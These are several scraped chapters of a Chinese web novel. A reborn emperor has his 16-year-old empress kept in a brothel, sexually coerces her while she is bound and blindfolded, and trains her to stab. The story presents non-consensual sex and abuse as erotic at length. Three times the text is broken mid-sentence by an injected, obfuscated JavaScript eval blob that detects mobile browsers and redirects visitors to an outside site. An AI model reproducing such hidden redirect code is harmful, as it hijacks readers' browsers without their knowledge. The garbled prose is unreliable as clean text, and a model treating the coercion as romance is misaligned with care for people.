《朕亲自教养她》 7.第 7 章 “阿母......唔、” 男人堵住了她的唇,他会让她知道瞿氏母子的真面目,会让她对她们恨之入骨,就如同上一世她恨他那般。 那柄她亲手刺入他腹的匕首,这一世,她会用来割开瞿氏母女的喉咙!一定会!! 郁稚被蒙着双眸,她看不到男人眼底那浓烈的恨意,男人身躯虽有血肉,实际却是地狱归来的怨灵! 郁稚缩入床榻角落,却仍旧被男人扣着足腕拽出来。 他要在她在教坊吃尽苦头,如此才能激起她对瞿氏母女最深的恨意! 郁稚一丝力气都没有了,她躺在宽绰的榻上,她看不见对方的容颜,却知道他的筋骨强劲得可怕,恐怕单手就能掐死她。 她无声地落泪,泪水浸透了蒙眼的缎带。 他亲吻她的足踝,齿尖轻轻划过雪肌。 “求你停下来,我非伎非奴!我是被虏进教坊的,若你能送我回家,我夫君必定会重金谢你!”郁稚哭诉求救。 男人匍匐在榻尾,眉宇间泛起轻蔑的笑意,向一个来教坊寻欢的男人求救,他这愚蠢天真的皇后! “我夫君有权有势,你想多少金银,还是你想做官?”郁稚走投无路了。 终于想起他了?萧歧莫名又恼火几分,俯首再度亲近她。 他单单只是吻她,几分温柔。这个陌生男人与皇帝一般雄壮高大,但他比皇帝温柔。不不不,她怎么将两人相提并论,皇帝是她的夫君,这个男人不过是欢客,她该反抗该与他同归于尽,可是她一丝一毫的力气都不复存在了,只能无声地落泪。 这就束手就擒了?萧歧恼怒! 少女身着雪白素纱,美得浑然天成。好甜,怎么这么甜,他俯身贪恋汲取她所有,一边恼火一边又沉沦,男人自己也糊涂了,他是想看她抵死反抗,还是想看她乖顺听话? 她该庆幸自己有这样一副年轻美妙的皮囊,上一世他没有享用尽兴,这一世才再度眷恋,如此而已,至于她这个人,她卑劣的灵魂,她的本性,萧歧憎恶透了。 萧歧在天明之前穿戴整齐准备离开,榻上的人早已经沉沉睡去,褥子污秽不堪,可见她也并非不可忍耐,睡梦间少女紧紧蹙眉,掌心甚至还捏着他一角衣袍,像是能感知到悬在头顶的视线。 萧随坐在床沿,深深地凝望了她许久,他抽离那一角衣袍,对榻上的少女生不出一丝一毫的怜悯。只是瞧见她束起的手腕,缎带已经嘞出血痕,他喜欢她这一身雪肌,不想见到疤痕,于是皇帝解那缎带。 “阿母......”少女就在此时梦呓,“阿母......” 萧歧指微顿,将解开的缎带重新又绑了回去!起身深深看一眼,恼怒离开!!她继续待在这吃人的教坊吧! ...... “什么时辰了还睡?”云娘将人唤醒,替她撩起幔帐,“贵人对你很不满意,嘱咐我要好好教导你!” 郁稚手上的缎带已经解开,她坐起身,云娘瞧见她的模样愣了一瞬。少女雪白肌肤上布着淡淡伤痕,裙摆下的足踝上满是齿迹,已经将人欺负成这般,那位贵人竟还说不满意? “早膳之前饮一碗避子汤。”云娘吩咐。 郁稚揉了揉眼睛,“不用避子汤,他、他没有真碰我。”昨夜那个人不过吻她,一直一直吻她。 云娘:“他吩咐我好好教导你,大约是你在榻上跟条死鱼似的,不知怎么服侍人,他才暂且不碰你。过来,我替你沐浴,沐浴干净再跟着我好好学!” 教坊守卫森严,她自己逃不出去,唯一的法子先对那个男人虚与委蛇,讨好他哄得他高兴,再求他赎她出去。 早膳过后,云娘取来二十个鸡蛋,放置于榻,再铺上一层薄薄的褥子,“跪坐两个时辰,鸡蛋不能碎。” 云娘的本事真叫郁稚开眼了,教坊的花样千奇百怪,郁稚羞恼至极,却不得不跟着学。 “怎么愁眉苦脸的?外头可不教这个,你若全学会了我的本事,往后天下男人无不匍匐在你裙边!”云娘骄傲道。 郁稚心道,她侍候皇帝就不必学这些,皇帝自己有的是本事。 一日下来,她弄碎了一篮子鸡蛋,气得云娘险些打她,“这般笨拙!!难怪你要被发卖进教坊!一点不上进!” 郁稚欲哭无泪,皇帝都没有嫌弃过她...... *** 夜里,郁稚终于能歇息,今日练坐,不但毁了一篮子鸡蛋,还掉入缸里十多回,挨了云娘的骂,练也练不好,逃也逃不出去...... 直至半夜,她听到推门声,知道那人又来了,她再度被蒙住眼眸,绑住手腕。这一回她不会挣扎,她要讨好他,哄他赎她出去。 “你叫什么名字?”郁稚爬坐起来,她能感受到男人的气息,他就立在床沿。 萧歧今夜原不打算过来,可他实在想看她这狼狈凄惨的模样,再想想从前不可一世的郁皇后,十分有趣。 抬手抚上她脸颊,昨夜咬了他一口,今夜又如何反抗呢? 郁稚没有躲开,反而轻轻侧首蹭他的手心假意乖顺。萧歧明显一愣,很好,他的皇后不过进教坊几日,就已经学会如何取悦男人。她的尊严呢?学得与教坊的伎人有何不同?! 郁稚心头一颤,“你生气了么?你为何不说话?” 郁稚心道难道此人是个哑巴? “唔、”男人虎口转而扣住了她的下颚,郁稚疼得落泪,她明白他在命令她闭嘴。 手转而向下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14024157|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,去解她的裙裳。郁稚知道此人有惊人的定力,昨夜他不过是吻她,并没有真正对她做什么,此刻自己不能慌乱。 她无动于衷,甚至没有一丝一毫的反抗,这明明是他喜爱的乖顺,萧歧此刻心中却燃起一把怒火。 所以什么人都可以亲近她?他可以,其他男人也可以?没错上一世,她有那么几个男宠,在她纵容之下祸害朝堂! 郁稚跌倒在榻上,这一回男人没有耐心轻吻她。 “你别这样!”她惊得往后闪躲,“我不会逃的,我只希望你温柔一些,我喜欢温柔的。” 喜欢温柔的?可他对她从不温柔,她的男宠们很温柔?难怪上一世她那么宠爱那几个年轻臣子! 郁稚想死,她虽然那样长大,但她也知道礼义廉耻!此人与萧歧一样粗暴蛮横。 ...... 男人粗粝的手扣着少女足踝,麦色肌肤映衬得她愈加雪白貌美。 她哭得凄惨,或许上一世的萧歧会心疼,可这一世得他的心没有泛起丝毫涟漪。 郁稚,是你自寻死路。 她能活到今日,已经是他大发慈悲,所以无论怎么对待她,萧歧都不会心疼。 少女眼眸畜满泪水,缎带缠绕眼眸,所以他看不见少女水汪汪的眼眸,只知她一直在哭。 一双细腕被缎带勒得布满红痕,萧歧依旧不心软。 上一世不可得之物,这一世他贪恋索取。未央宫紧闭的殿门,终究被他层层推开。 他的念如同凿开的泉眼,奔流不息。 ...... 郁稚哭得可怜,她是皇后,她是天底下地位最尊贵的女人,终究是被打回原形,还是国公府蜷缩在破败屋子里的庶女,任人欺辱。 她倾城绝美,萧歧无数次地感叹,或许正是因为这样一张清纯灵动的脸,上一世自己才被耍得团团转,任她予取予求,最后甚至遭她的私兵暗杀,身受重伤,最后战死沙场。 皇帝真想与上一世的郁后对话,他有许多话要质问她,可惜眼前的人是十六岁的郁稚,愚不可及,软弱可欺! 最后她昏睡过去,浓密发丝堪堪遮住玉体。手腕因为挣扎而勒出血痕。 皇帝临走时顺手解开了缎带,明明将人欺负得透彻,内心怒火却无丝毫消减。 郁稚强迫自己清醒,手腕桎梏被去,她立即掀开蒙眼缎带,朝着始作俑者扑了过去。 这个欺她辱她之人究竟是谁?!她要与他同归于尽!! 萧歧猝不及防后退一步,一时间四目相对,房内昏暗,郁稚清清楚楚地看清了近在咫尺的脸庞。 皇帝?!!她的夫君?! “怎么会这样......”少女骇然,失魂呢喃。 8.第 8 章 “陛下......”郁稚满眼难以置信,泪水滚落,“陛下为何欺辱臣妾?” 萧歧将人推开,神色倨傲,“皇后私自出宫,被人卖到教坊,朕难道不该罚么?” 郁稚委屈极了,仰头望着男人,神色可怜,“臣妾知错了,往后再不敢私自出宫,求陛下带臣妾回宫吧?” 郁稚知道自己身处弱势,绝对不能惹怒皇帝,只能顺从他。她屈膝跪到地上,伸手握住男人的衣摆继续央求,“臣妾回宫之后必定会好好侍奉陛下。” 云娘教过她说女人的泪水是最好的武器,尤其她还有着一副清纯皮囊,任何男人都会拜倒在她裙下。 萧歧垂眸看着他的皇后,这位教坊司坊主有些功力,不过几日就调教成这样。 她这一招或许对其他男人管用,但对他无用。 男人伸手轻轻抚过少女细嫩脸颊,他动作温柔,郁稚从善如流,轻轻磨蹭他手心,岂料下一瞬间,萧歧嘲讽道:“郁稚,你这般与教坊里那些求着恩客赎身的伎人有何不同?” 郁稚僵在原地,皇帝憎恶她,她能切身感受到,自从皇帝凯旋归朝,他看她的眼神,他的言行,无一不透露着这信息。 “朕会要一个进过教坊司的皇后么?”萧歧轻蔑,“郁稚,没有了朕的宠爱与纵容,你以为还能、” 权倾朝野么? 少女的眼神是困惑的,她对他向来顺从,从无过错啊。 罢了,萧歧心道自己何必与十六岁的郁稚多言,她愚蠢而糊涂。 皇帝转身要走,郁稚心慌:“陛下,臣妾再也不私自出宫了,求陛下带臣妾回去,臣妾往后会听话的!” 她哭得梨花带雨,皇帝回眸瞧她,“回宫可以,但你必须亲手杀了瞿氏母女,只有她们死了,你才能继续做朕的皇后。” “阿母与容姐姐没有做错什么,陛下为何要滥杀无辜?”郁稚实在困惑。 “诱哄皇后出宫,将你卖入教坊,难道不是死罪?”萧歧冷声质问。 “容姐姐没有卖我,陛下污蔑人!”郁稚鼓起勇气反驳道。 皇帝怒极反笑,他是疯了才同她争辩,“乖乖与坊主学习怎么侍候人,若再像从前那般呆愣无趣,朕会彻底弃了你。在教坊这种地方,皇后很清楚自己到时候会是什么下场!” *** 郁稚睡了一晌午,下午云娘又来教她练坐。郁稚坐在铺着褥子的鸡蛋上,已经半个时辰了,鸡蛋没有碎。 云娘笑道:“那位贵人该是被妹妹迷住了。” 郁稚:“他说我呆板无趣。” 云娘笑道:“男人就是口是心非,若他真觉得妹妹呆板无趣毫无滋味,又怎么会连着两夜探妹妹香闺呢?妹妹还是不懂男人,嘴上这么说,身体却是最老实的,他今夜必定还来。” 云娘不明白,宫中美人无数,皇帝真的会废后,那到时候自己的下场,她害怕...... 今夜,萧歧没有再来寻她,郁稚是带着泪水入睡的。 半梦半醒之间,房门被撞开了,此时正是教坊最热闹的时候,伎人们迎来送往春宵一刻。 “美人在何处?让我瞧瞧,是不是真美得似仙女一般?”男人撩开了幕帘,郁稚就在此时惊醒过来。 映入眼帘的是一个醉酒的男人,双眼迷蒙,见到郁稚的瞬间清醒了几分,眼神肆无忌惮地流连在她身上。 郁稚跳下床榻。 “好美......”萧元璜痴痴道,“我听鸳儿说教坊来了个仙女,第一日就叫人独占了。原来还不信,竟然如此倾国倾城。美人,过来,你恩客给你多少银子?我翻倍给你,你今夜好好伺候我!” 郁稚吓得要跑,门口却被几个小厮堵住了。 小厮笑道:“这位是康王世子,你躲什么躲?还不好好伺候!” 萧元璜凑近,眼前的女子怎么与皇后有几分相似?他曾在宫宴上远远见过皇后一眼,美得叫人神魂颠倒,日思夜想,他四处派人搜罗与皇后肖像的女子...... 此时云娘稳闻声上来,“世子醉了,来,我扶你去鸳儿房里。”好说歹说将人劝走了。 萧歧到教坊时,暗卫禀告了此事,“康王世子闯入房中调戏皇后,皇后受惊了。” 康王世子萧元璜。萧歧这几日忙着收拾朝臣,还没轮到皇亲国戚。上一世萧元璜对皇后起了色心,甚至酒后大胆调戏,最后的下场是被他命人乱棍打死,从此落了个暴戾名声,宗室也因此恨上了他。 皇帝进房时,郁稚缩在角落哭,听到动静吓得骤然颤抖,如同一只无助的幼兽。 真是个没用的东西! “陛下......求求陛下带臣妾回宫吧,臣妾往后会对陛下言听计从。”她匍匐到他足下,苦苦哀求。 殊不知,男人铁石心肠,无动于衷。 一柄匕首被丢到她面前,“皇后想回宫可以,若你能用这柄匕首伤了朕,朕就带你回宫。” 这是他赐给她的银匕首,刀柄镶嵌着华丽宝石,郁稚彷徨无措,“陛下万金之躯,臣妾怎么能伤你?这是死罪!” 萧歧觉得这是一个很有意思的游戏。 他褪了外腿了雪白里衣,男人身躯健壮,就这么堂而皇之地坐在椅榻上,“哪怕是一道小伤口也算你赢。郁稚,把刀拿起来!” 郁稚不明白,皇帝为何如此待她...... 她从地上爬起来,她梦到过这样的场景,她亲手用匕首插入男人的身躯。 “若是不动手,那皇后这辈子就得困在教坊。” 郁稚咬咬牙握紧了匕首,朝着皇帝腰腹刺过去。 萧歧不费吹灰之力推开了她,少女又跌倒在地,膝盖磕得生疼,匕首落到地上。 “就这么没用么,郁稚?”萧歧嘲讽道,“你从前可是又准又狠,险些要了朕的性命!再来!” 郁稚不明白,她何时这么做过?皇帝莫非也梦魇了? “朝着这儿刺,才能一击毙命,你上回就是没有刺对地方。”皇帝指了指心口的位置。 郁稚膝盖生疼,“臣妾伤不了陛下。” “那你只能一生困在此处,任朕亵玩,郁稚。”皇帝故意激怒她,“不,该唤你螭奴。做娼伎还是做皇后,就在你一念之间。” 她才不做娼伎!!郁稚再度爬起来,握着匕首铆足全力朝着男人心口刺进去! “唔!” 她的手腕都要被他捏断了,匕首再度落地,就在距离他心口三寸的地方,皇帝只用了单手。 “好疼。”郁稚泪水落下。 “原来你也知道疼,那你可曾想过匕首扎入腹,朕会不会疼呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14033231|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”皇帝语气幽幽。 郁稚实在是糊涂了,“明明是陛下命臣妾伤你,而且臣妾没有伤到你。” 萧歧没有答,反手将人甩开,“再来!” 郁稚一而再、再而三地握着匕首去刺他,却次次被皇帝推开,“再来!” 少女如同漂亮的瓷娃娃,肌肤柔嫩,体态轻柔,摔得一身青紫,着实可怜。 最后郁稚无力跪坐在冰凉地面,眼神幽怨地仰头凝望着男人。 这样的眼神与上一世如出一辙,男人却觉得痛快极了。 郁稚没有力气了,眼前的男人是一座白雪皑皑的雪山,她无法征服,最后一次拿起匕首,扑上去刺他。 匕首再一次被打落,郁稚出其不意拔出发簪,狠狠地朝着男人心口的位置刺过去,他教她的,只有此处能毙命! 倒是有长进了,簪子在距离心口一寸的地方被萧歧阻了下来,郁稚转而被按在了椅榻上。 “这样才像你,郁稚!”皇帝笑道,她险些伤他,可他眼底没有丝毫恼意,反而熠熠生辉,充斥着对她的赞赏,郁稚困惑极了。 “可惜你还是输了。”萧歧慢条斯理地握过她的发簪,欣赏少女拧紧的眉眼。 郁稚欲哭无泪,她手腕软绵没有力气,“求陛下带我回宫。” “没有伤朕分毫,朕怎么带你回宫?”萧歧手持发簪,轻轻划过她柔嫩肌肤,挑断了她小衣肩带,“在教坊都学了些什么?” 他语气变得轻佻,郁稚别过眼去不愿看皇帝,他阴晴不定欺辱人! 萧歧轻易拿捏她,“你都不在宫里了,朕该如何处置你的乳母呢?” 郁稚惊愕看他,“是臣妾贪玩离宫,不关阿母的事!” “你这般纵性妄为,是她没有教导好你,怎么不关她的事?”皇帝拨开她的衣裳,欣赏着雪白身躯,唔,确实摔得不轻,手腕膝盖布了青紫。 郁稚不住地落泪,他太欺负人了。 十六岁的郁稚软弱无能,只会哭,萧歧倒是希望重生而来的是二十六岁的郁稚,势均力敌才有意思,他也好将前世的账彻底清算一遍! “坊主都教了你些什么?”皇帝耐心将她抱起,往后靠坐在墙上。 郁稚真怕极了皇帝,哭得眼角通红,他究竟为何这样欺辱她? “既然伤不了朕,侍候朕舒心了,带你回宫也不是不可以。”男人指尖探入少女乌黑浓密的发丝,声音蛊惑如耳语一般。 郁稚呆愣愣地坐在他怀里。 “她是怎么教你的?”萧歧垂眸看着她。 郁稚一心想回宫,这教坊就是龙潭虎穴!她咽下所有委屈,轻轻侧首,若软的唇瓣落在男人喉间,泪水落在男人胸膛间。 云娘教了她很多,她不想听,捂住了耳朵,可云娘强迫她听着。 或许是这几日没食软筋散的缘故,她不再似从前那般不堪用。云娘会调教人,教她主动吻他,不再是笨拙的模样。 萧歧靠坐椅榻,享受着皇后的侍奉。妖后心性卑劣,却实在有着一副迷人的身子,魂都要被她勾走了,在她彻底毁灭之前,他不介意自己沉溺于此间。 ...... 可是渐渐的男人不再悠然自得。 郁稚似乎明白云娘为何要她练坐,她的腰肢再不似从前那般软弱无力。 9.第 9 章 耳边忽得传来令人羞涩的喘息,郁稚捂住了嘴,这绝对不是从她口中发出的声音,半响反应过来,这是隔壁传来的声音。 一连串的声音悦耳似铜铃,郁稚捂住了耳朵,不肯再动了。 “......隔壁真住了个仙女,我方才瞧见了,真真美得叫人眼馋,可惜云娘不识趣,说她是有恩客独占着的。” “谁人不知你康王世子,你想要的女人非要弄到手不可。” “还是鸳儿你了解我,明日夜里我带一千两银子来,砸到云娘脸上,看她让不让我见那美人!!” 等隔壁声音渐消,萧歧缓缓扣住了少女腰肢,“明日有朝会,皇后也不想害朕赶不上明日朝会吧?” 郁稚知道皇帝也听到了康王世子的话,他必定会带她回皇宫的。 ...... 破晓将至。 男人指尖轻轻顺着少女脊背摩挲,温柔至极,这教坊的坊主有些手段,少女轻摆的腰肢。 简直要了他的命。郁稚如同幼猫,靠在男人怀里享受着指尖轻抚,他难得这样温柔,今日一定是要带她回宫的吧? “朕该走了。”温存过后,萧歧很无情地将人抱回榻上。 “陛下不带臣妾走么?”郁稚难以置信,“陛下承诺说带臣妾回宫的!” “朕是这么说么?”萧歧轻笑,“朕说的是伺候朕舒心了才带你回宫,很显然皇后没有做到。” 郁稚心急如焚去拽皇帝衣角,“陛下没有听见么?康王世子他、他、” 萧歧自顾自地穿衣,拾起地上的匕首合上刀鞘丢到了郁稚怀里。 晨起云娘伺候她沐浴,“贵人临走时说他今夜不来教坊。螭奴你可知道昨日闯入你房间的男人是谁,他可是康王世子,真正的皇亲国戚,他对你一见倾心,求着我要见你一面。” 云娘:“如若你能讨得他欢心,他说不定会替你赎身,进了康王府做妾,那可是真正富贵无极!” 郁稚靠坐浴桶,“云娘,我不愿。” 云娘闭口不再言语,横竖她收了康王世子送来的银子,到时候世子闯入螭奴卧房,她只当瞧不见,虽然坏了规矩,但量那位贵人的身份高不过康王世子去! *** 云娘又悉心教导她一整日,用过晚膳之后,云娘替她铺床,伺候她躺下,盖好被褥,“累了一整日了,今夜贵人不来,你也早些歇息。” 郁稚:“多谢云娘。” 云娘其实待她很好,云娘不会为了银子而出卖她。郁稚听着门外上锁的声音,安心地闭上眼眸。 然而片刻之后,她又听见了锁眼开启的声音,皇帝又出宫来寻她了? 他又不带她回宫,只是一味地欺负人。郁稚腰肢酸软,实在不愿再侍候他,于是裹紧被褥背过身去,佯装已经入睡。 脚步声接近,男人撩开了幕帘。 “螭奴已经睡了么?” 这声音......郁稚翻身坐起,开锁进房门的人不是皇帝而是康王世子!!此人面相丑陋,身材肥硕,一脸色像,眼神贪婪地流连在郁稚身上。 “云、云娘!”郁稚逃下榻去,却被萧元璜揪住。 “云娘收了我的银子,已经歇息去了!”萧元璜双眸放光,不禁感叹天底下真有这样的美人,“螭奴你可知你生得与当今皇后太像了!” 他认出她来了?郁稚拼命挣脱,萧元璜扑过来将人抱住了。 “实在是太像了!我曾在宫宴上远远见过她一回,从此魂牵梦萦,做梦都想与她交、欢!四处搜罗与她相像的女子,总觉得差几分,昨日我一见你就被迷住了,还以为你是皇后的亲妹妹呢!” 郁稚手足软绵,哪里挣扎得掉!太叫人作呕了!原来这康王世子早就对她、对她、 “螭奴想要什么?我替你赎身好不好?跟我回康王府,绫罗绸缎,金银珠宝,应有尽有!”萧元璜将人往榻上带,“只有一点,你不能进宫,你若进了宫,叫皇帝瞧见,必定也会将他迷得神魂颠倒!” 郁稚声嘶力竭地哭喊,云娘在外听见了,教坊的人都听见了,可都知道房里的是康王世子,即使是螭奴那位恩客来了,都只有回避的份! 大雨磅礴,皇帝在御书房练字,暗卫进殿禀告说康王世子去了教坊,可要他传信命教坊附近的暗卫动手? 皇帝连头都未抬:“不必动手。” 暗卫:“可是皇后、” “皇后在未央宫养病。”萧歧神情淡然。 ...... “阿母......容姐姐......”郁稚不住地哭喊,她的衣裳被扯破了,康王世子爬上榻来,她节节败退,最后蜷缩到了角落。 少女这我见犹怜的模样,简直叫人心潮澎湃,萧元璜伸手扣住了少女足踝,光是足踝都软绵成这样,不知这腰肢得软成什么样! 郁稚生生地被从角落拽了过去。 “你躲什么?如若讨得本世子欢心,我明日就赎你出去,若是再不依从,我夜夜带人来折磨你!!” 郁稚哭得声嘶力竭,可是无人来救她,阿母没来,容姐姐没来,皇帝也没有来!! 裙摆也被撕扯开来,萧元璜扯下腰带俯身过来。 千钧一发之际,郁稚从枕下抽出匕首,心口的位置,皇帝教过她,心口的位置才可以一击毙命。 康王世子贪婪地汲取着少女发丝馨香,实在是太勾魂了,如此倾城角色,光是看一眼都销魂!! 少女软绵手腕紧紧握住刀柄,她试过数百次去刺皇帝,都被他一次次推开摔倒在地,这一次她绝对要成功。 嘶啦--少女的衣裙被彻底撕开,与此同时,锋利刀尖扎入了男人胸膛。 郁稚双手握住刀柄拼尽全力往深处扎,康王世子捂住了胸口,眼珠像是瞪出来一般盯着郁稚,难以置信她竟然、竟然、 郁稚被吓坏了,她释力松开刀柄,从男人身下逃了出来,少女纤柔身子不住地颤抖,捂住口不住地往后退。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14043474|148096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>康王世子像是要呼救,可发不出任何声音,最后捂着胸口倒在了榻上。 “啊---!!!死人啦!!”隔壁的鸳儿听见动静过来,吓得惊呼。 郁稚赤足立在门口,衣着破碎狼狈不堪,脸色苍白至极。 “云娘!!死人啦!!螭奴杀了康王世子!!” 鸳儿的呼声招来了教坊所有的人,云娘好不容易挤入房间,看到的却是康王世子倒在地上,面上毫无一丝血色。 皇帝教的果然没错,心口的位置确实可以一击毙命。 云娘难以置信地看向郁稚,“螭奴,是你杀了康王世子?!!” “他可是皇亲国戚啊,康王府的人会很快知道的。” “完了,快走,说不定康王会封了教坊。” “先报官,将这女子抓起来,到时候用她向康王交代!” “还是先杀了她,云娘带着她的尸身去向康王请罪。” ...... 人声嘈杂,郁稚摇摇欲坠,她杀人了,她杀的还是皇亲国戚......天旋地转,人们的声音变得虚妄,她扶住额头要晕过去了。 “这就吓到了?” 清冷矜贵的声音在耳边响起,她跌入一个宽大的怀抱,她看到了皇帝,她的夫君。 萧歧看了一眼倒地的康元璜,人还没死透,“可惜,你的刀尖还是偏了那么一点。” 他用氅衣裹住衣衫破碎的她,打横将人抱起,在教坊所有人惊愕的目光之下带她离开。 君王车驾缓缓驶回皇宫。 怀里的人吓得瑟瑟发抖,萧歧毫无怜悯之心,反而觉得这一世的郁稚是个废物。上一世的郁后敢用刀刺杀他这位君主,她毫无悔过之意,这一世不过杀了个纨绔宗室就吓成这般,并且没真死透。 “我以为陛下不要我了......”郁稚往皇帝怀里钻,她真以为皇帝弃了他,可他方才神兵天降救她于水火之中,原来她从前错怪皇帝了,他不是那般凶狠无情。 “朕怎么会不要皇后呢?”萧歧将人嵌入宽大怀抱,“朕不过是气皇后任性离宫罢了。” 皇帝原本打算放任不管她,若她伤了康王世子必定死路一条,正好一箭双雕。 男人唇瓣落在少女颈间,一寸一寸啄吻她雪白肌肤以作安抚。 他对她意犹未尽,连做梦都是与她缠绵龙榻,所以他临时改变主意了。 他要慢慢折磨死她所在乎的人,那些上一世助纣为虐的那些人,最后折磨死她。 他要他的皇后完完全全为他所有,为他掌控,依赖他眷恋他,身与心完完全全独属于他一人,最后他再彻底放弃她,叫她从皇后宝座跌落,最后坠入尘埃,一无所有,叫她饱尝他上一世战死沙场时的心碎! 这般才更有趣,才不枉他这一抹怨魂从地狱归来重逢了十六岁天真无邪的郁后! “不怕了,朕在这儿,谁都伤不了你。”男人声音似蛊惑,在她耳边轻哄,双臂将人裹缠得更紧。 10.第 10 章 深秋寒夜,车轮滚滚向前,朝着皇宫的方向。 郁稚哭累了从皇帝怀里起来,这可怜模样若是叫旁人看见,必定心都碎了。 “陛下,这几日我阿母如何,是不是着急得四处寻我?” 萧歧正闭目养神,听了此话缓缓睁开眼眸,这种时候她还念着她阿母! “朕哪里心思管一个奴婢?!”皇帝语气不善,他就不该救她,任由她被康王打死,看她的阿母会不会来救她!! 郁稚看向窗外,“此时糕点铺子开了没有?” “怎么?皇后饿了?”皇帝抱起手臂。 郁稚道小心翼翼道:“阿母若知道我私自出宫被卖入教坊,必定会生气,我想买几块桃酥讨她欢心。” 男人的眸光瞬间凌厉,连掐死她的心都有了! 余下的路程皇帝环着手臂闭目养神,并没有再理会她,郁稚也很识趣地闭上了嘴。 深夜回到皇宫,郁稚迫不及待地回未央宫,她不见了,阿母与容姐姐必定心急如焚。可皇帝拽着她回到主殿,打开衣柜,按动一个机关,衣柜下方出现了楼梯。 郁稚竟然不知未央宫有密室,皇帝拽着她走入地下密室。 “陛下要带臣妾去何处?!” 皇帝沉默不语,手臂青筋虬结,拽着她往前走,这密室四通八达,这条路通往偏殿,而瞿氏母女就住在偏殿。 “不知那小废物如何了?” 郁稚听到了瞿氏的声音,她头顶上方正是偏殿的内室,皇帝驻足了。 季容:“在教坊那种地方还能如何?她天生淫、荡,必定是迎来送往,夜夜接客!” 这是容姐姐的声音,少女呆愣愣地站在原地,所以、所以、阿母与容姐姐、 面前的男人眼神倨傲,眼看着小废物她脸上浮现惊愕神情,整个人一瞬间失了魂。 他唇边不禁泛起一丝笑意,扣住少女纤柔肩胛,“皇后继续往下听,或许还有更精彩的!” “陛下正派人四处找寻,不如明日我找人透露那废物在教坊的线索,皇帝亲自去教坊,那才有意思呢!” “如此一来皇后必定被废,我们母女前途渺茫。” “我已经贿赂了大太监,说是可以派我去御前伺候,没了那个废物当绊脚石,女儿必定能陛下青睐!” ...... “皇后听清了?是你的容姐姐将你拐出皇宫,卖入教坊。” 郁稚腿都软了,皇帝扣着她的肩,覆在她耳边幽幽问道。 她泪水一直落,原来真的是容姐姐,阿母也知情,她不愿再听下去了,挣脱了束缚往回走。 “皇后还想自欺欺人?”皇帝合上暗室的门,瞧着失魂落魄的少女,心中快意横生,上一世她至死不知情的事,如今终于知道了! 郁稚跌坐在椅榻上,神情呆滞,眼泪奔涌而出。 “皇后告诉朕,这样的奴婢,难道不该死么?” 郁稚捂住耳朵,可皇帝偏要质问她,“皇后说,该怎么处死她们?五马分尸?一剑割喉咙?还是用匕首刺穿她们心脏?就像朕教你的那般?” 男人越说越兴奋,英挺的眉眼微微扬起。 “阿母与容姐姐都没有错,是我的错!”郁稚哭诉道,“因为......因为......我夜夜占着陛下,容姐姐只能委屈当宫女,所以她才这样对我。” 男人沸腾的热血瞬间就凉了。 “若容姐姐能得陛下宠幸,阿母与容姐姐都会欢喜的。”少女露出哀求的眼神,“明日陛下能不能召幸容姐姐,再封她妃嫔?” 郁稚:“我不能失去她们......” 她衣食住行哪样不依赖阿母,她们是她真正的亲人,她连自己穿衣裳都不会,也不识字,若是没了阿母她活不下去! 郁稚见皇帝这般严肃沉默,她凑上前去讨好他亲吻他,云娘说过天底下任何男人都招架不住她主动讨好。 萧歧看着企图掩耳盗铃的女人,眼底充斥着恨意与憎恶,这样软弱愚蠢的女子,上一世自己怎么会被她欺哄至死! 就该任由她死在教坊! 少女沾染泪水的吻落在男人后喉侧,萧歧扣着她的肩膀将人推开。 “既然皇后央求,朕如你所愿。”萧歧微微笑道,“命季容明日来御书房伺候,先从御前宫女做起。” “多谢陛下!”郁稚匍匐在地,叩谢圣恩,她坚信只要容姐姐能如愿当上妃嫔,阿母还会一如既往喜爱她! *** 翌日清晨,瞿氏母女见着郁稚,吓得花容失色,“皇后......皇后......” “阿母!!”郁稚委屈地扑入瞿氏怀里,她合衣在榻上歇了一夜,身上穿的还是教坊的衣裳。 她将被拐入教坊的事情原原本本告诉了瞿氏,只是没提皇帝,说自己逃了出来。 瞿氏还当她会死在教坊,没想到这蠢货还有命回宫。瞿氏:“你容姐姐这几日寝食难安,吓得魂都没了,我的儿你若出什么事,阿母我也不活了!!” 瞿氏伺候她沐浴,瞧见她身上青紫,“我的儿,你可是在教坊失了身?”蠢货生得跟妖精似的,进了教坊那种地方自然不能囫囵个出来。 郁稚欲言又止,点了点头。 瞿氏:“我的儿,若是陛下问起来,你可千万不能透露说是被关在教坊!” “阿母,我明白的。” 瞿氏心道,此事成了她手里的把柄,哪日季容得了圣宠,她可以轻而易举地将皇后置之死地。 季容来见过郁稚,知道她没对自己起疑心,也松了一口气。晌午,李总管过来传口谕,说皇帝吩咐季容去御书房伺候。 